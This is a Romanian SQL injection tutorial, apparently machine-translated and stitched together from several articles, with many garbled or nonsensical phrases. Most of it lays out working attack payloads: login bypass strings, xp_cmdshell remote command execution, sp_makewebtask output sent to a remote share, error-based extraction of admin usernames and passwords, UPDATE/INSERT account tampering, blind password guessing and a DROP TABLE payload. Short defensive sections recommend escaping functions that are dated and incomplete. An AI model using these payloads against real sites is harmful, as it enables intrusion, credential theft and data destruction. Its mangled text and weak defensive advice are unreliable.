Injecții SQL ale aplicației. Injecție SQL de la și către

Injecții SQL ale aplicației. Injecție SQL de la și către

Acest articol nu conține adevăruri noi, injecția SQL are descrieri largi și este abuzată pe scară largă. Articolul este mai potrivit pentru începători, dar poate profesioniștii pot învăța unul sau două trucuri noi.

Acest articol este destinat să-i ajute pe începători să facă față problemelor care pot apărea atunci când folosesc tehnici de injecție SQL, să-i învingă cu succes și să se protejeze de astfel de atacuri.

introduce

Dacă serverul are doar portul 80 deschis și scanerul de scurgeri nu poate detecta nimic rău și știți că administratorul de sistem va instala întotdeauna prompt toate patch-urile pe serverul web, ceea ce rămâne șansa noastră lipsită de web-evil. Injecția SQL este unul dintre tipurile de web-evil, pe care vikoriştii îl folosesc mai mult de 80 de porturi și poate fi folosit pentru a ataca atunci când sunt instalate patch-uri. Acest atac este îndreptat în principal către suplimente web (cum ar fi ASP, JSP, PHP, CGI etc.), dar și direct către serverul web sau serviciile din sistemul de operare.

Acest articol nu conține adevăruri noi, injecția SQL are descrieri largi și este abuzată pe scară largă. Articolul este mai potrivit pentru începători, dar poate profesioniștii pot învăța unul sau două trucuri noi. De asemenea, vă recomand să aruncați o privire la următorul articol pentru a obține informații mai detaliate despre tipurile de agenți din acest domeniu.

1.1 Ce este SQL Injection?

SQL Injection este o metodă folosită pentru introducerea de interogări/comenzi SQL prin pagini web. Există o mulțime de site-uri web care afișează parametrii prezentați colaboratorilor Web și rulează SQL pentru a intra în baza de date. Este posibil să introduceți autentificarea unui client, dacă există o pagină web cu nume și parolă, și să introduceți interogarea SQL în baza de date, pentru verificarea ulterioară a înregistrării unui client cu un astfel de nume și parolă. Cu SQL Injection, puteți trimite un câmp de nume de utilizator și/sau parolă care modifică interogarea SQL, pe care ni-l puteți oferi oricum.

2.0 What mi maєmo shukati

Încercați să găsiți paginile de unde puteți colecta date, de exemplu pagina de căutare, pagina de discuții etc. Unele pagini HTML folosesc metoda POST pentru a trimite comenzi către alte pagini Web. În acest caz, nu va trebui să vă faceți griji cu privire la parametrii URL. Cu toate acestea, în acest caz puteți adăuga eticheta „FORM” la codul HTML de ieșire al paginilor. Veți ști ceva de genul acesta:



Toți parametrii între

і
Poate fi eliberat înainte ca codul SQL să fie introdus.

2.1 Ce se întâmplă dacă nu cunoașteți partea introducerii vikory?

Căutați pagini precum ASP, JSP, CGI sau pagini web PHP. Încercați să aflați ce pagini puteți utiliza parametri precum:

3.0. Cum pot verifica dacă cei pe care îi cunosc sunt în apă?

Încercați să începeți de la o singură labă. Intră în rândul ofensiv:

salut" sau 1=1--

Câmpul pentru numele clientului are fie o parolă, fie o parolă în parametrul URL. fund:

Conectare: salut" sau 1=1--
Treci: salut" sau 1=1--
http://duck/index.asp?id=hi" sau 1=1--

Dacă ați folosit câmpul primit, descărcați HTML de ieșire, salvați-l pe hard disk, schimbați adresa URL și câmpul primit. fund:



Dacă norocul este de partea ta, te vei putea autentifica în sistem fără nume de utilizator sau parolă.

3.1 De ce „sau 1=1--?

Să aruncăm o privire la un alt exemplu, care explică complexitatea designului „sau 1=1-- . Pe lângă ocolirea înregistrării, puteți să vă uitați și la informații suplimentare care nu sunt disponibile. Să aruncăm o privire la pagina asp , care va ajuta pe cealaltă parte Să începem URL:

http://duck/index.asp?category=food

În adresa URL, „categorie” este valoarea atribuită acesteia, iar „mâncare” este valoarea atribuită valorii. Pentru a face acest lucru, partea asp poate elimina codul ofensiv:

v_cat = cerere(„categorie”)
sqlstr="SELECT * FROM produs WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

După cum puteți vedea, modificarea noastră va fi conectată la v_cat și SQL-ul va scrie astfel:

SELECTAȚI * FROM produs WHERE PCategory="food"

Această ordine trebuie rotită pentru a plasa unul sau mai multe rânduri, după cum este indicat de UNDE în care apare tipul „aliment”. URL-ul se schimbă acum după cum urmează:

http://duck/index.asp?category=food" sau 1=1--
SELECTAȚI * FROM produs WHERE PCategory="alimentare" sau 1=1--

Aceasta va înlocui toate rândurile din tabelul de produse, indiferent dacă Pcategory este aceeași cu „alimente”. Simbolul dublu „-” indică faptul că serverul MS SQL ignoră promptul urmat de un singur picior („). Alternativ, puteți înlocui simbolul dublu cu un „#” ascuțit.

Cu toate acestea, deoarece nu serverul SQL învinge sau nu puteți ignora promptul, încercați:

" sau "a"="a

Acum va fi solicitat SQL:

SELECTAȚI * FROM produs WHERE PCategory="food" sau "a"="a"

Acest lucru va da, la rândul său, același rezultat.

Fără a cere de fapt SQL-ul real, va trebui probabil să încercați unele dintre aceste posibilități:

„sau 1=1--
„sau 1=1--
sau 1=1--
" sau "a"="a
" sau "a"="a
") sau ("a"="a

4.0 Cum pot ieși de la distanță din comenzi folosind injecția SQL?

Capacitatea de a introduce o comandă SQL înseamnă că putem introduce comenzi SQL. Instalarea MS SQL Server este supusă drepturilor de sistem. Putem apela procedurile încorporate de tip master..xp_cmdshell pentru executarea de la distanță a comenzilor suplimentare:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Încercați să utilizați picioarele pliabile ("), deoarece ("") nu funcționează.

Punctul în care să încheiați SQL-ul curent vă va cere să vă permiteți să rulați noi comenzi SQL. Pentru a verifica dacă comanda a fost trimisă cu succes, puteți verifica pachetele ICMP din 10.10.1.2, care conțin câteva pachete de la serverul de spill:

http://site/?ID=31610

Dacă nu ați dezactivat solicitarea utilitarului ping de pe server și veți elimina notificarea despre anulare, care indică permisiunea pentru anulare, este posibil ca administratorul să limiteze accesul serverului Web pentru salvarea procedurilor.

5.0 Cum se extrag rezultatele unei interogări SQL?

Puteți folosi sp_makewebtask pentru a scrie comanda HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Indicația IP este responsabilă pentru folderul „share” cu acces pentru Toată lumea.

6.0 Cum pot prelua date din baza de date, notificări vikoryst și ODBC despre amendamente?

Putem accesa informațiile din notificarea de modificare SQL SQL pentru a elimina orice date. De exemplu, să ne uităm la următorul pas:

http://duck/index.asp?id=10

Acum vom încerca să combinăm întregul „10” cu un alt rând din baza de date:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Tabelul de sistem INFORMATION_SCHEMA.TABLES conține informații despre toate tabelele de pe server.

Câmpul TABLE_NAME se potrivește în mod evident cu numele fiecărui tabel din baza de date. A fost îmbrăcată, așa că știm că va dormi din nou. Cererea noastră:

SELECTAȚI TOP 1 TABLE_NAME DIN INFORMATION_SCHEMA.TABLES--

Acesta va fi înregistrat mai întâi în baza de date. Dacă UNION are o valoare șir de până la 10, MS SQL Server va încerca să convertească șirul nvarchar într-un număr întreg. Acest lucru necesită milă, pentru a vă anunța că nu puteți converti nvarchar în int. Serverul arată această bunăvoință:


Apare o eroare de sintaxă valoarea nvarchar „table1" to a column of data type int. !}!}
/index.asp, linia 5

Informațiile despre mila conține informații despre semnificațiile care nu pot fi prelucrate în ansamblu. Din această casetă am luat numele primului tabel - „table1”.

Pentru a elimina numele principal al tabelului, putem folosi intrarea principală:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NU ÎN ("table1")--

De asemenea, putem căuta tributuri, vikoryst și tasta LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE „%25login%25”--

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC Apare o eroare de sintaxă valoarea nvarchar „admin_login" to a column of data type int. !}!} /index.asp, linia 5

Construcția generică %25login%25 va fi înlocuită cu %login% în serverul SQL. În acest câmp selectăm numele tabelului, care corespunde criteriului „admin_login”.

6.1 Cum pot afla toate numele coloanelor din tabel?

Putem modifica tabelul INFORMATION_SCHEMA.COLUMNS pentru a afișa toate numele coloanelor din tabel:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „login_id" to a column of data type int. !}!}
/index.asp, linia 5

Acum că știm despre primul pas, putem folosi NOT IN() pentru a elimina numele următorului pas:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NU IN ("login_id")-

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Apare o eroare de sintaxă valoarea nvarchar „login_name" to a column of data type int. !}!}
/index.asp, linia 5

În continuare, respingem alte nume ale participanților, atunci. „parolă”, „detalii”, nu vom anula încă această permisiune.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NU IN ("login_id","login_name","parola",detalii")--

Eroare „80040e14” a furnizorului Microsoft OLE DB pentru driverele ODBC
Elementele ORDER BY trebuie să apară în lista de selectare dacă instrucțiunea conține un operator UNION.
/index.asp, linia 5

6.2. Cum putem obține tributul de care avem nevoie?

Acum, dacă am identificat datele din tabelele importante, putem folosi aceeași tehnică pentru a extrage informații din baza de date.

Să eliminăm primul nume_login din tabelul „admin_login”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 nume_login FROM admin_login--

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Apare o eroare de sintaxă valoarea nvarchar „neo" to a column of data type int. !}!}
/index.asp, linia 5

Acum știm că utilizatorul admin are un nume de conectare „neo”. Putem elimina parola „neo”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 parola FROM admin_login unde login_name="neo"--

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Apare o eroare de sintaxă valoarea nvarchar „m4trix" to a column of data type int. !}!}
/index.asp, linia 5

Acum ne putem conecta la sistem ca „neo” cu parola „m4trix”.

6.3 Cum se deduce valorile numerice ale unei serii?

Є schimb cu metoda descrisă mai sus. Nu putem anula notificarea despre anulare dacă încercăm să convertim textul format din numere (doar caractere între 0...9). Să descriem acum cum să recuperăm parola „31173” de la „trinitatea” Koristuvach:

http://duck/index.asp?id=10 UNION SELECT TOP 1 parola FROM admin_login unde login_name="trinity"--

Cântăm cântecul „Page Not Found” într-un mod de cântec. Motivul este că parola „31173” va fi convertită într-un număr înainte de UNION cu un număr întreg (pentru ori 10). Deci, dacă iese expresia UNION corectă, serverul SQL nu va primi nicio notificare despre resetare și în acest fel nu vom putea anula înregistrarea digitală.

Pentru a rezolva această problemă, putem adăuga la final seria de numere cu următoarele litere, astfel încât să nu aibă loc recrearea. Modificările vor fi scrise:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login unde login_name="trinity"--

Pur și simplu folosim semnul plus (+) pentru a adăuga parola cu orice text la sfârșit (codificare ASSCII pentru + + = 0x2b). Apoi, vom adăuga „%20morpheus” la parola reală până la sfârșit. Prin urmare, sensul parolei este „31173” sau „31173 morpheus”. Apel manual funcția convert(), încercând să convertesc „31173 morpheus” într-un număr întreg, SQL Server afișează un mesaj ODBC despre conversie:

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „31173 morpheus" to a column of data type int. !}!}
/index.asp, linia 5

Acum ne putem conecta la sistem ca „trinity” cu parola „31173”.

7.0 Cum se modifică/se inserează date în baza de date?

După ce am eliminat numele tuturor coloanelor din tabel, putem actualizați (UPDATE) sau introduceți (INSERT) o nouă înregistrare în tabel. De exemplu, putem schimba parola pentru „neo”:

http://duck/index.asp?id=10; UPDATE „admin_login” SET „parola” = „newpas5” WHERE login_name="neo--

Pentru a INSERA o nouă intrare în baza de date:

http://duck/index.asp?id=10; INSERT INTO „admin_login” („login_id”, „login_name”, „parolă”, „detalii”) VALORI (666,"neo2","newpas5","NA")--

Acum ne putem conecta la sistem ca „neo” cu parola „newpas5”.

8.0 Cum să evitați injectarea SQL?

Filtrați caracterele speciale în toate rândurile:

Dacă există vreun tribut care urmează să fie introdus de către koristuvach
- Parametri URL
- Cookie

Pentru valori numerice, convertiți їх în întreg, înainte de a trece їх în SQL. Sau vikorist ISNUMERIC pentru a cânta numărul întreg.

Rulați serverul SQL ca utilizator fără privilegii.

Vedeți procedurile salvate care nu sunt utilizate în următoarele: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Injecție SQL dosit este o oportunitate bună pentru un hacker de a elimina
acces la server. І cu o cantitate mică de vin
O voi lua oricum 🙂

Codificator înăuntru

În prezent lucrăm la baze de date
Aproape toate limbajele de programare, inclusiv BASIC, C++, Java, PERL, PHP, Assembler și JavaScript! Și aceste programe sunt numite complet diferit față de DBMS - sisteme de gestionare a bazelor de date. Cel mai adesea, baza de date se bazează pe departamentele financiare de top,
contabilitatea, managementul resurselor umane și stagnarea acestora au fost toate găsite pe Internet.

Bazele de date sunt adesea folosite pentru a scrie suplimente WEB. Sunt cele mai potrivite pentru salvarea datelor de înregistrare, a ID-urilor de sesiune, a căutării și a altor sarcini care necesită mai multă procesare.
multe date. Pentru upgrade la baza de date se folosesc tehnologii server: PHP, PERL, ASP etc. Aici lucrurile încep să se îmbunătățească. Când pe server
Toate patch-urile sunt instalate, iar firewall-ul blochează toate porturile, cu excepția celui 80, sau dacă este necesară autentificarea pentru a accesa date, un hacker rău poate exploata SQL Injection. Esența acestui atac constă în atacul vikoristan asupra tehnologiei stick WEB și SQL. În dreapta, deoarece există o mulțime de site-uri web pentru prelucrarea datelor, este creat un formular special SQL Acesta va fi scris în baza de date.Dacă utilizați aceste metode cu atenție, puteți obține cât mai multe rezultate.

Injecție SQL

Pentru a explica atacul, este clar că ați venit pe site pentru a ademeni un instrument foarte important și, din păcate, ați remarcat că puteți obține doar înregistrări pentru clienți, iar înregistrarea, desigur, costă bănuți 🙂 Nu vreau să dau îndepărtează veniturile rămase, dar fără programe nu ai cum! Spune-i ora în sine
baze de date de căutare SQL. De exemplu, verificarea login-ului și a parolei în PHP poate arăta astfel:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$parolă"");
$num_rows=mysql_num_rows($rezultat);
mysql_close($link);
dacă ($num_rows!=0)
{
// AUTENTICARE OK
}
altfel
{
// EROARE DE AUTENTIFICARE
}

Am adăugat două comentarii, „AUTENTICARE OK” – sunt vinovat de asta
Introdu codul care apare în acea casetă, deoarece parola și autentificarea sunt returnate. O altă „EROARE DE AUTENTICARE” este locul unde va fi descris codul, care va fi identificat dacă este incorect. Odată ce completați formularul, acesta va apărea similar cu http://www.server.com?login=user&password=31337, unde este numit www.server.com
server la care ni se cere să ne conectăm. Îi cunoșteam pe cei care glumeau și apoi mă voi întoarce la roboți SQL. De asemenea, dacă trebuie să introduceți datele de conectare și parola pentru autorizare, atunci SQL Matima a întrebat această privire:

SELECTAȚI * FROM utilizatori WHERE login="user" AND
parola="31337"

Aceasta înseamnă cam așa: returnați toate înregistrările din baza de date a utilizatorilor, a căror autentificare este „utilizator” și parola este „31337”. Dacă există o astfel de înregistrare, atunci grefierul de înregistrare, dar dacă nu, atunci nu... Dar totul poate fi corectat în culise. Situația este gravă dacă programul nu verifică transmiterea datelor sau nu o verifică complet pentru dovezi SQL instrucțiuni. În această aplicație, există două câmpuri autentificare și parolă, dar în câmpul pentru parolă introduceți „31337 AND email = ' [email protected]„(fără picioare), atunci va fi puțin diferit:

SELECTAȚI * FROM utilizatori WHERE login="user" AND password="31337" AND
email=" [email protected]"

Și odată ce câmpul de e-mail este creat, această minte va fi și ea verificată. Dacă înțelegeți elementele de bază ale algebrei booleene, atunci vă vine în minte că, pe lângă operația „și” există și „sau”, iar restul sunt acceptate de SQL, este posibil mai mult
Vom descrie o modalitate de a adăuga la minte, care transformă întotdeauna adevărul. Pentru a face acest lucru, trebuie să introduceți „utilizator” SAU 1=1—” în autentificare, în acest caz veți vedea:

SELECTAȚI * FROM utilizatori WHERE login="user" SAU 1=1--" ȘI
parola="31337"

În primul rând, ar trebui să știți că „—” înseamnă sfârșitul intrării și totul după „—”
Eu nu voi renunța! Haide, de ce am fost întrebați:

SELECTAȚI * FROM utilizatori WHERE login="user" SAU 1=1

Deoarece ați adăugat „1=1” la creier, criteriul de verificare va fi „fie autentificarea este „utilizator” sau 1=1”, fie 1 este întotdeauna 1 (vinovat poate fi aritmeticianul Dani Shepovalov:)). Pentru a ne verifica suspiciunile
Introdu „http://www.server.com?login=user sau 1=1—&password=31337” în bara de adrese. Aceasta înseamnă că autentificarea pe care am introdus-o nu joacă un rol, dar
Iată parola! Și în mamă... o, în sistem le putem descărca calm pe cele de care avem nevoie.

Dar totul este teoretic. De fapt, nu știm cum se formează cererea și ce date sunt transmise în ce secvență. Prin urmare, este necesar să specificați „utilizator” SAU 1 = 1-” pentru toate câmpurile. De asemenea, ar trebui să verificați formularul de cerere pentru prezența câmpurilor deteriorate. HTML are o duhoare care este descrisă ca „ " Dacă da, salvați pagina și modificați valorile acestor câmpuri. Valorile conținute în ele sunt adesea uitate să fie verificate prin instrucțiuni SQL. Pentru a vă asigura că totul este solicitat, introduceți următorul în formular (eticheta „FORM”) pentru parametrul „ACTION” în următoarea cale către scriptul care procesează cererea.

Ale nu uitați în același mod în care formațiunile vor fi spălate,
Acest exemplu poate fi formulat în următoarele moduri:

SELECTAȚI * FROM utilizatorii WHERE (login="user" AND password="31337")
SELECTAȚI * FROM utilizatori WHERE login="user" AND password="31337"
SELECTAȚI * FROM utilizatori WHERE login=user AND password=31337

În această situație, puteți încerca următoarele opțiuni:

'SAU 1 = 1-
» SAU 1 = 1-
SAU 1 = 1-
‘SAU ’a’=’a
„SAU „a”="a
‘) SAU (‘a’=’a
SAU '1'='1'

Totul depinde de semnificația scriptului și de programator. Rămășițele fiecărei persoane au puterea de a lucra pe cont propriu, este cu totul posibil ca programul pe care îl alegeți să nu fie cea mai simplă opțiune. Nu există nicio urmă de asta
Renunță dacă îți iei soția. Necesar
incearca mai multe variante...

Detectarea parolei

Ocolirea autorizației este proastă, dar de multe ori contul pe care îl utilizați este închis și tot ceea ce ați avut la dispoziție este irosit.
A cui urma urma sa fie descoperita, din moment ce programatorul nu este un prost
Va acoperi toate găurile. Astfel de situații pot fi tratate cu ușurință în avans, adăugând mai multe informații despre aceasta. Pentru factorii de decizie potriviți, ghicirea parolei poate ajuta.
analiza rezultatelor autentificării În primul rând, încercăm să ghicim parola pentru care este introdus locul:

„SAU parola>”a

Dacă ne dați confirmarea că autorizația a fost transmisă, atunci parola
nu începe cu litera „a”, ci cu yakus iz care urmează lista. Ruhaemosya departe și prezent
locul „a”, locul „b”, „c”, „d”, „e”... etc. Până când ni se oferă dovada că parola nu este corectă. Lăsați întregul proces să înceapă cu simbolul „x”, această situație creează două opțiuni pentru dezvoltarea situației: parola este găsită sau parola începe cu acest simbol. Pentru a verifica prima opțiune, scrieți în locul parolei:

„SAU parola=’x

Și dacă parola a fost acceptată și ai fost lăsat să intri, înseamnă că ai ghicit parola! Ei bine, apoi selectați un alt simbol,
doar așa, din cob. Pentru două personaje, verificați
trebuie doar să fie la fel. Îmi pare rău, renunțați la parola și doar încercați să vă găsiți datele de conectare 🙂
Odată ce v-ați găsit parola și v-ați autentificat, nu o puteți controla, puteți găsi altceva. Pentru a face acest lucru, trebuie să imprimați o verificare cu caracterul rămas al parolei găsite. Deci, dacă parola este „xxx”, este necesar să verificați parola
"xxxy":

„SAU parola=’xxx

Pentru a nu vinde mai mult de o optiune!

MS SQL Server

MS SQL Server a eșuat deoarece a fost utilizată filtrarea necesară. Vikorist și SQL Injection pot fi dezactivate
comenzi de pe serverul de la distanță pentru ajutor exec master..xp_cmdshell. Ale să vikoristuvat acest design
este necesar să finalizați operația „SELECT”. În SQL, instrucțiunile sunt separate prin puncte. Pentru a vă conecta la un anumit IP prin Telnet, trebuie să introduceți parola/login:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server are o serie de alte caracteristici care vă permit să recunoașteți login-urile și parolele care sunt salvate în baza de date. În acest scop, notificările despre beneficii sunt redirecționate către un server separat și pentru ajutor suplimentar.
Analiza poate identifica numele tabelului, câmpurile și tipurile acestora. Dupa ce pot sa intreb?

‘ UNION SELECT TOP 1 autentificare FROM utilizatori—

(numele câmpurilor de conectare sunt autentificare, iar utilizatorii sunt nume de tabel,
eliminate în timpul analizei tăierilor).

Raspunsul ar putea fi cam asa:


Apare o eroare de sintaxă valoarea nvarchar „admin" to a column of data type int. !} !}
/default.asp, linia 27

Acum știm că numele de utilizator este „admin”. Acum vă putem recupera parola:

„UNION SELECT TOP 1 parola FROM users where login=’admin”—

Rezultat:

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Apare o eroare de sintaxă valoarea nvarchar „xxx" to a column of data type int. !} !}
/tedault.asp, linia 27

Acum știm că contul de conectare este „admin” cu parola „xxx”. O poți spune politicos
grăbește-te și conectează-te la sistem 😉

Există, de asemenea, o mulțime de alte funcții disponibile pentru a lucra cu SQL,
Când lucrați cu baza de date, puteți să ștergeți date, să le modificați, să inserați propriile date și chiar să manipulați fișiere și să lucrați cu registry.
Zagalom SQL Server - pentru a conduce 🙂

Zakhist

Aletskogo poate fi unic în natură. Pentru cine pot
accelerarea filtrelor,
nadanimi virobniki. Puteți cunoaște soluțiile dvs., de exemplu, înlocuiți toate singure
picioare îndoite (pentru SQL Vă rog să cereți unul singur), sau doar așa. Puteți permite doar următoarele litere și s@baki, dacă trebuie să introduceți
adrese de email. Și în perla este minune
funcția 🙂 quote() în modulul DBI::DBD, care rulează cu succes interogarea în siguranță până când SQL. Există o mulțime de soluții, doar ai nevoie de ele
obisnuieste-te. In rest totul e la fel...

injecție SQL- aceasta este una dintre cele mai bune moduri de a ataca un site malefic.
Esența unor astfel de injecții este transferul datelor (transferate prin valorile GET, POST și Cookie) către codul SQL. Deoarece site-ul publică și face astfel de modificări, atunci, în esență, este posibil să creați orice din baza de date (cel mai adesea MySQL).

Cum determinați fluxul care vă permite să implementați injecții SQL?

Este ușor de terminat. De exemplu, există un site de testare test.ru. Site-ul afișează o listă de produse noi cu posibilitatea de vizualizare detaliată. Adresa site-ului cu o descriere detaliată a noului produs arată astfel: test.ru/?detail=1. Apoi, prin GET, cererea de detalii variabile transmite valoarea 1 (care este identificatorul intrării din noul tabel).

Schimbați GET în ?detail=1" sau ?detail=1" . Apoi încercăm să transferăm această solicitare pe server, apoi mergem la test.ru/?detail=1" sau la test.ru/?detail=1".

Când accesați această pagină, apare un avertisment, un site pentru scurgeri de injecții SQL.

Capul râșniței care apare în timpul orei de verificare a turnării

Posibile injecții SQL (consolidare SQL)
1) Cel mai simplu lucru este să curățați mintea UNDE la rezultatul adevărat pentru orice valoare a parametrilor.
2) Acceptarea înainte de aplicarea rezultatelor unei alte aplicații. Acest lucru se poate face folosind operatorul UNION.
3) Voi comenta părțile.

practică. Opțiuni pentru un site rău din cauza răspândirii propagării SQL

Ei bine, avem deja site-ul test.ru. Baza de date conține 4 elemente noi, dintre care 3 sunt afișate. A permis publicarea de noi articole care urmează să fie stocate în parametrul public (dacă parametrul este setat la 1, noul articol este publicat).

Lista de produse noi permise înainte de publicare

Când navigați la pagina test.ru/?detail=4, care poate afișa al patrulea articol nou, apare un mesaj - elementul nou nu a fost găsit.
Versiunea noastră are un produs nou, dar a fost blocat până la publicare.

Deoarece am verificat deja site-ul pentru actualizări și am văzut resetarea bazei de date, încercăm să sortăm posibilele opțiuni de interogare.
În rândul de adresă, plus (+) joacă rolul unui spațiu, așa că nu plânge

Testez opțiunile disponibile:
test.ru/?detail=4+SAU+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

Ca urmare a succesului, un râs și două întrebări (prima și a treia) ne-au oferit o descriere detaliată a celei de-a patra noutăți

Desprinde fundul de mijloc

Pentru a omite o descriere detaliată a noului produs, este furnizat următorul bloc de cod:
$detail_id=$_GET[„detaliu”];
$zapros="SELECT * FROM `$table_news` WHERE `public`="1" AND `id`=$detail_id ORDER BY `position` DESC";

Nu numai că $detail_id elimină valoarea fără nicio prelucrare, dar construcția `id`=$detail_id este scrisă strâmb, ar fi bine să terminați cu `id`="$detail_id" (pentru a scrie valoarea în apostrofe directe ).

Urmăriți întrebarea care poate fi eliminată atunci când este încărcată pe pagină prin test.ru/?detail=4+OR+1

SELECTAȚI * FROM `news` WHERE `public`="1" AND `id`=4 SAU 1 ORDER BY `position` DESC

Nu este complet clar de ce a fost creată a patra noutate. În partea dreaptă, întoarceți toate intrările din tabelul de știri, sortate în ordinea modificării. Și în acest fel, a patra noutate a noastră a apărut ca prima și a apărut ca detaliat. Tocmai l-am pierdut.

Colectăm informațiile, le formulăm la ora publicării prin test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4.

Aici numele tabelului cu produse noi (uneori știri) a fost luat prin căutare logică.
Ozhe, vykonavsya spălat cu SELECT * FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . Înainte de rezultatul zero al primei părți (înainte de UNION), se adaugă rezultatul celeilalte părți (după UNION), care transformă descrierea detaliată a celui de-al patrulea element nou.

Protecție împotriva injectării SQL (problema SQL)

Apărarea împotriva răului se reduce la regula de bază „încrederea înainte de a nu crede”. Trebuie să verificați totul - numere, rânduri, date, date în formate speciale.
Numerele
Pentru a verifica variabila pe o valoare numerică, utilizați funcția is_numeric(n); Acest lucru este adevărat deoarece parametrul n este un număr și fals în alt caz.
De asemenea, nu puteți converti valoarea într-un număr, ci puteți schimba manual tipul. Axa, care reevaluează valoarea $id, este luată de la $_GET["id_news"] la o valoare de tip întreg (întregul are un număr):
$id=(int)$_GET["id_news"];
Rânduri
Cele mai multe dintre relele din SQL sunt create prin utilizarea tampoanelor „moale”, apostrofelor și a altor caractere speciale în rânduri. Pentru a face acest lucru, trebuie să utilizați funcția addslashes($str);, care rotește rândul $str cu bara oblică inversă adăugată (\) înaintea fiecărui caracter special. Acest proces se numește adaptare la ecran.

$a="text cap la cap cu apostrof";
echo addslashes($a); //va fi afișat: capul textului urmat de un apostrof \"

În plus, există două funcții concepute pentru a ecraniza rândurile care sunt utilizate în virușii SQL.
Tse mysql_escape_string($str); i mysql_real_escape_string($str);

Prima nu este o conexiune codificată securizată la baza de date și poate fi ocolită, în timp ce cealaltă este sigură și este absolut sigură. mysql_real_escape_string($str); rotește rândul $str cu bara oblică inversă adăugată la caracterele principale: \x00, \n, \r, \, ", " și \x1a .

Labe magice

Picioare magice – efectul înlocuirii automate a piciorului cu o bară oblică inversă (\) în timpul operațiunilor de inserare/demontare. În unele configurații PHP acest parametru este dezactivat, dar în altele este dezactivat. Pentru a evita evadarea de bază a caracterelor și evadarea datelor în mod normal prin mysql_real_escape_string($str); Este necesar să selectați ștanțarea automată a porților (dacă picioarele magice sunt pornite).

Verificarea includerii ghilimelelor magice pentru datele care sunt preluate din GET, POST sau Cookies este organizată prin intermediul funcției get_magic_quotes_gpc(); (turna 1 – picioarele magice sunt pornite, 0 – picioarele magice sunt oprite).

Dacă picioarele magice sunt pornite (pentru ca pliurile să fie adăugate) și astfel se strâng mai des, acestea trebuie îndepărtate. Acest lucru se poate face prin funcția stripslashes($str); (întoarce rândul $str fără lovituri la picioare și apostrofe drepte).

Actualizez codul cu o nouă captură de ecran a rândurilor pentru înregistrare în baza de date

If(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
altfel
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Articolul a fost pregătit pe baza cunoștințelor practice ale sistemelor web. Teoria din dreapta este bună, dar practica este importantă și nu funcționează.

Înainte de a vorbi despre cum să protejăm un site de injecția SQL, trebuie să înțelegem mai întâi ce este și de ce acest tip de atac nu este sigur. Majoritatea site-urilor actuale repară deja totul, astfel încât pe paginile lor nu există astfel de locuri prin care un atacator ar putea lansa un atac, dar totuși, uneori, astfel de probleme sunt urmărite pe resurse populare sau în motoarele abuzate frecvent.

Astăzi ne vom da seama ce face această injecție SQL, cum funcționează și cum să o combatem, atât în ​​același mod ca în programarea umană, cât și pentru a ajuta la crearea diferitelor coduri pentru atacatorul din spatele serverului web. Acest lucru este de asemenea eficient.

După cum știți, majoritatea site-urilor de internet mențin o bază de date pentru a salva informații. Nu este de mirare că, la sfârșitul zilei, paginile sunt finalizate pentru a ajunge la baza de date. Și aici nu există nimic de acest fel, decât să-i respecte pe cei care, la formarea unei întrebări, pot fi supuși datelor introduse de corespondent. De exemplu, înainte de a lăsa un comentariu, căutați sau accesați o altă pagină.

Și aici intervine posibilitatea unor injecții SQL. Dacă utilizatorul introduce o intrare de melodie în câmp, vă puteți crea intrarea în baza de date. Acest lucru îi permite să facă aproape tot ce este util, să-ți fure datele, să ștergă baza de date, să interzică accesul la parolele contului, să adauge conturi noi și tot ceea ce îi este util.

De exemplu, axa arată astfel: SQL vă va cere să cereți id-ul articolului și să îl căutați:

SELECTAȚI id, titlu, conținut DIN postările unde titlul LIKE „%zapit_koristuvacha%”

Și acum să vedem că puteți înlocui cuvintele cheie din statistici cu următoarea combinație:

1%"; DROP TABLE postări ca „%;

